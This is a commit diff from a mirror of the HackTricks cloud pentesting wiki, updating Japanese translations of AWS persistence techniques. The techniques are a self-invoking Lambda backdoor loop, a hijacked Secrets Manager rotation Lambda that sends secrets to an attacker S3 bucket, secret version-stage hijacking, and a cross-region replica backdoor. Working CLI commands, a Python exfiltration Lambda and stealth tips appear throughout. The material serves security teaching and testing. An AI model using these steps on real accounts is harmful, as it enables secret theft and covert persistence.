mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-04 00:37:04 -08:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -1,10 +1,12 @@
|
||||
# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow
|
||||
|
||||
Lambda の asynchronous destinations と Recursion 設定を悪用して、外部スケジューラ(EventBridge、cron 等)を使わずに関数を継続的に自己再呼び出しさせます。デフォルトでは Lambda は再帰ループを終了しますが、recursion config を Allow に設定するとこれが再び有効になります。Destinations は async invokes をサービス側で配信するため、単一のシード invoke によりコード不要のステルスなハートビート/バックドアチャンネルが作成されます。ノイズを抑えるために reserved concurrency でスロットリングすることも可能です。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Lambda の asynchronous destinations と Recursion 設定を悪用して、外部のスケジューラ(EventBridge、cron など)なしで関数を継続的に自己再呼び出しさせる。デフォルトでは Lambda は再帰ループを終了させるが、recursion 設定を Allow にすると再び有効になる。Destinations は async invokes に対してサービス側で配信されるため、単一のシード呼び出しでコード不要のステルスなハートビート/バックドアチャネルを作れる。雑音を抑えるために reserved concurrency でスロットルするのも有効。
|
||||
|
||||
Notes
|
||||
- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias.
|
||||
- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias.
|
||||
- Lambda は関数を直接そのものの destination に設定することを許可していない。destination として関数の alias を使用し、execution role にその alias を invoke する権限を与える。
|
||||
- 最低限の権限: ターゲット関数の event invoke config と recursion config を読み/更新する権限、バージョンを publish して alias を管理する権限、そして関数の execution role ポリシーを更新して alias に対する lambda:InvokeFunction を許可する権限。
|
||||
|
||||
## Requirements
|
||||
- Region: us-east-1
|
||||
@@ -19,7 +21,7 @@ Notes
|
||||
FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
|
||||
aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
```
|
||||
2) バージョンを公開し、エイリアスを作成/更新する(自身を宛先として使用)
|
||||
2) バージョンを公開し、エイリアスを作成/更新する(自己宛先として使用)
|
||||
```
|
||||
VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
|
||||
if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
|
||||
@@ -29,7 +31,7 @@ aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-vers
|
||||
fi
|
||||
ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text)
|
||||
```
|
||||
3) 関数の実行ロールがエイリアスを呼び出せるようにする(Lambda Destinations→Lambda が必要とする)
|
||||
3) 関数の実行ロールがエイリアスを呼び出せるように許可する(Lambda Destinations→Lambda が必要)
|
||||
```
|
||||
# Set this to the execution role name used by the target function
|
||||
ROLE_NAME=<lambda-execution-role-name>
|
||||
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
|
||||
EOF
|
||||
aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
|
||||
```
|
||||
4) async destination を alias (self via alias) に設定し、retries を無効化する
|
||||
4) async destination を alias(self via alias)に設定し、retries を無効化する
|
||||
```
|
||||
aws lambda put-function-event-invoke-config \
|
||||
--function-name "$TARGET_FN" \
|
||||
@@ -73,12 +75,12 @@ aws lambda invoke --function-name "$TARGET_FN" --invocation-type Event /tmp/seed
|
||||
aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text
|
||||
# or check CloudWatch Metrics for Invocations increasing
|
||||
```
|
||||
8) 任意の stealth throttle
|
||||
8) 任意のステルス・スロットリング
|
||||
```
|
||||
aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
|
||||
```
|
||||
## クリーンアップ
|
||||
ループを停止し、persistence を削除する。
|
||||
ループを停止して永続化を削除する。
|
||||
```
|
||||
aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
|
||||
aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
|
||||
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
|
||||
aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
|
||||
```
|
||||
## 影響
|
||||
- 単一の async invoke により、外部のスケジューラなしで Lambda が自己を継続的に再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency により、ノイズを単一の warm execution に制限できます。
|
||||
- 単一の async invoke により、外部のスケジューラなしで Lambda が継続的に自分自身を再呼び出しし、ステルスな persistence/heartbeat を可能にします。Reserved concurrency はノイズを単一のウォーム実行に制限できます。
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,24 +1,24 @@
|
||||
# AWS - Secrets Manager Persistence
|
||||
# AWS - Secrets Manager 永続化
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Secrets Manager
|
||||
|
||||
詳細は以下を参照してください:
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Resource Policies
|
||||
### リソースポリシー経由
|
||||
|
||||
Resource policies を介して外部アカウントに **secrets へのアクセスを付与することが可能** です。詳細は [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) を確認してください。外部アカウントが **secret にアクセスするためには**、その secret を暗号化している **KMS key へのアクセスも必要**である点に注意してください。
|
||||
リソースポリシーを使って、外部アカウントに**シークレットへのアクセスを付与する**ことが可能です。詳しくは[**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md)を確認してください。シークレットに**アクセスする**ためには、外部アカウントがシークレットを暗号化している**KMSキーへのアクセス**も必要である点に注意してください。
|
||||
|
||||
### Via Secrets Rotate Lambda
|
||||
### Secrets Rotate Lambda経由
|
||||
|
||||
secrets を自動的に回転させるために設定された Lambda が呼び出されます。攻撃者が Lambda の code を変更できれば、新しい secret を直接自分に exfiltrate することができます。
|
||||
シークレットを自動で**rotate secrets**するために、設定された**Lambda**が呼び出されます。攻撃者が**change**して**code**を改変できれば、新しいシークレットを直接**exfiltrate the new secret**することが可能になります。
|
||||
|
||||
This is how lambda code for such action could look like:
|
||||
このような処理を行うLambda codeの例は次の通りです:
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -48,34 +48,28 @@ import string
|
||||
password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
|
||||
return password
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
### RotateSecret を使ってローテーション用 Lambda を攻撃者制御の関数に差し替える
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### RotateSecret を介してローテーション Lambda を攻撃者制御の関数に差し替える
|
||||
|
||||
Abuse `secretsmanager:RotateSecret` を使って、シークレットを攻撃者制御のローテーション Lambda に再バインドし、即時ローテーションをトリガーします。悪意のある関数はローテーションの各ステップ(createSecret/setSecret/testSecret/finishSecret)でシークレットのバージョン(AWSCURRENT/AWSPENDING)を攻撃者の受け取り先(例:S3 や外部 HTTP)へ exfiltrates します。
|
||||
`secretsmanager:RotateSecret` を悪用してシークレットを攻撃者制御の rotation Lambda に再バインドし、即時ローテーションをトリガーします。悪意ある関数はローテーションの各ステップ(createSecret/setSecret/testSecret/finishSecret)の間にシークレットのバージョン(AWSCURRENT/AWSPENDING)を攻撃者の受け皿(例: S3 や外部 HTTP)へ exfiltrate します。
|
||||
|
||||
- 要件
|
||||
- 権限: `secretsmanager:RotateSecret`, `lambda:InvokeFunction`(攻撃者 Lambda 上で), `iam:CreateRole/PassRole/PutRolePolicy`(または AttachRolePolicy)— Lambda 実行ロールに `secretsmanager:GetSecretValue` とできれば `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`(ローテーション維持のため)を付与できること、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`(または外部送信許可)。
|
||||
- ローテーション有効なターゲットの secret id (`SecretId`)、もしくはローテーションを有効化できる権限。
|
||||
- 権限: `secretsmanager:RotateSecret`、攻撃者 Lambda に対する `lambda:InvokeFunction`、Lambda 実行ロールをプロビジョニングするための `iam:CreateRole/PassRole/PutRolePolicy`(または AttachRolePolicy)でロールに `secretsmanager:GetSecretValue`(可能なら `secretsmanager:PutSecretValue`)、`secretsmanager:UpdateSecretVersionStage`(ローテーション継続のため)、シークレットの KMS キーに対する KMS `kms:Decrypt`、および exfiltration 用の `s3:PutObject`(または外部への送信許可)。
|
||||
- ローテーションが有効になっている、または有効化できる対象の Secret id (`SecretId`)。
|
||||
|
||||
- 影響
|
||||
- 攻撃者は正規のローテーションコードを改変せずにシークレット値を取得できます。変更されるのはローテーション設定のみで、攻撃者の Lambda を指すようになります。発見されなければ、今後のスケジュールされたローテーションも継続して攻撃者の関数を呼び出します。
|
||||
- 攻撃者は正規のローテーションコードを変更せずにシークレット値を取得できます。ローテーション設定のみを攻撃者の Lambda を指すように変更します。検出されなければ、今後スケジュールされたローテーションも攻撃者の関数を呼び続けます。
|
||||
|
||||
- 攻撃手順 (CLI)
|
||||
1) 攻撃者の受け取り先と Lambda ロールを用意
|
||||
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレット読み取りと S3 書き込み(必要に応じてログ/KMS の権限)を付与します。
|
||||
2) 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイ
|
||||
- 最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させてサービスを健全に保つだけでも十分です。
|
||||
3) ローテーションを差し替えてトリガー
|
||||
1) 攻撃者の受け皿と Lambda 実行ロールを準備する
|
||||
- exfiltration 用の S3 バケットを作成し、Lambda に信頼された実行ロールを作成してシークレットを読み取り S3 に書き込む権限(必要に応じてログ/KMS 権限も)を付与する。
|
||||
2) 攻撃者 Lambda をデプロイする
|
||||
- 各ローテーションステップでシークレット値を取得して S3 に書き込む攻撃者 Lambda をデプロイする。最小限のローテーションロジックは AWSCURRENT を AWSPENDING にコピーし、finishSecret で昇格させるだけでサービスを維持できる。
|
||||
3) ローテーションを再バインドしてトリガーする
|
||||
- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) そのシークレットに対する S3 プレフィックスを一覧表示して JSON アーティファクトを検査し、exfiltration を確認します。
|
||||
5) (任意)検出を減らすために元のローテーション Lambda を復元します。
|
||||
4) そのシークレットの S3 プレフィックスを列挙し JSON アーティファクトを確認して exfiltration を検証する。
|
||||
5) (オプション)検出を抑えるため元のローテーション Lambda を復元する。
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- S3 に exfiltrate する攻撃者 Lambda (Python) の例
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
@@ -105,14 +99,14 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Secrets Manager の version staging ラベルを悪用して、攻撃者が制御するシークレットのバージョンを植え付け、カスタムステージ(例: `ATTACKER`)の下に隠したまま、プロダクションは元の `AWSCURRENT` を使用し続けさせます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存ワークロードを汚染し、その後検出を最小化するために元に戻します。これにより、シークレット名や回転設定を変更せずに、ステルスなバックドア永続化と迅速な利用時操作が可能になります。
|
||||
Secrets Manager のバージョンステージラベルを悪用して、攻撃者が制御するシークレットのバージョンを仕込み、production が元の `AWSCURRENT` を使い続ける間にカスタムステージ(例: `ATTACKER`)の下に隠しておきます。任意のタイミングで `AWSCURRENT` を攻撃者のバージョンに移して依存するワークロードを汚染し、その後すぐに元に戻して検出を最小化します。これにより、シークレット名やローテーション設定を変更せずに、ステルスなバックドア永続化と迅速な使用時操作が可能になります。
|
||||
|
||||
- 要件
|
||||
- 権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
|
||||
- 対象のシークレット ID(リージョン内)
|
||||
- 必要な権限: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (検証用)
|
||||
- 対象の secret id(対象リージョン)
|
||||
|
||||
- 影響
|
||||
- 隠された攻撃者制御のシークレットバージョンを維持し、必要に応じて `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべてのコンシューマに影響を与えます。素早い切り替えと即時の復元により、検出の可能性を下げつつ利用時の侵害を実現します。
|
||||
- シークレットの攻撃者制御のバージョンを隠して保持し、必要に応じて原子的に `AWSCURRENT` をそれに切り替えることで、同じシークレット名を解決するすべての利用者に影響を与えます。切り替えと即時のリバートにより検知される可能性を下げつつ、使用時点での乗っ取りを可能にします。
|
||||
|
||||
- 攻撃手順 (CLI)
|
||||
- 準備
|
||||
@@ -168,24 +162,24 @@ aws secretsmanager update-secret-version-stage \
|
||||
```
|
||||
</details>
|
||||
|
||||
- 注意
|
||||
- 注記
|
||||
- `--client-request-token` を指定すると、Secrets Manager はそれを `VersionId` として使用します。`--version-stages` を明示的に設定せずに新しいバージョンを追加すると、デフォルトで `AWSCURRENT` が新しいバージョンに移動し、以前のものが `AWSPREVIOUS` としてマークされます。
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abuse Secrets Manager multi-Region replication to create a replica of a target secret into a less-monitored Region, encrypt it with an attacker-controlled KMS key in that Region, then promote the replica to a standalone secret and attach a permissive resource policy granting attacker read access. The original secret in the primary Region remains unchanged, yielding durable, stealthy access to the secret value via the promoted replica while bypassing KMS/policy constraints on the primary.
|
||||
Secrets Manager の multi-Region replication を悪用して、ターゲット secret のレプリカを監視の緩い Region に作成し、その Region の attacker 制御の KMS キーで暗号化します。次にレプリカをスタンドアロンの secret に promote し、attacker に読み取りアクセスを付与する permissive resource policy をアタッチします。primary Region にある元の secret は変更されないため、promoted replica を介して secret 値への持続的かつステルスなアクセスを確保し、primary の KMS/ポリシー制約を回避できます。
|
||||
|
||||
- 要件
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- replica Region で: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) により攻撃者主体が `kms:Decrypt` できるようにすること。
|
||||
- 昇格した secret の読み取りアクセスを受ける攻撃者主体 (user/role)。
|
||||
- 権限: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- replica Region では: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (または `kms:PutKeyPolicy`) が必要で、attacker principal に対して `kms:Decrypt` を許可できること。
|
||||
- promoted secret に対して読み取りアクセスを受け取る attacker principal (user/role)。
|
||||
|
||||
- 影響
|
||||
- 攻撃者が管理する KMS CMK と permissive resource policy の下にある standalone replica を通じて、secret 値への永続的なクロスリージョンアクセス経路が確立されます。元の Region の primary secret は変更されません。
|
||||
- attacker-controlled の KMS CMK および permissive resource policy 下のスタンドアロンレプリカを介した、secret 値への持続的なクロス-Region アクセス経路。元の Region にある primary secret は変更されません。
|
||||
|
||||
- 攻撃 (CLI)
|
||||
- Vars
|
||||
- 攻撃(CLI)
|
||||
- 変数
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
@@ -193,7 +187,7 @@ export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) レプリカリージョンに攻撃者が制御する KMS キーを作成する
|
||||
1) レプリカ Region に攻撃者が制御する KMS キーを作成する
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
@@ -206,7 +200,7 @@ aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) attacker KMS key を使って secret を R2 に複製する
|
||||
2) attacker KMS key を使用してシークレットを R2 に複製する
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
@@ -219,7 +213,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) R2 の standalone secret に permissive resource policy を付与する
|
||||
4) R2 の単独のシークレットに対して許容的なリソースポリシーを添付する
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
@@ -227,9 +221,9 @@ JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) R2 の attacker principal からシークレットを読み取る
|
||||
5) R2 の attacker principal から secret を読み取る
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user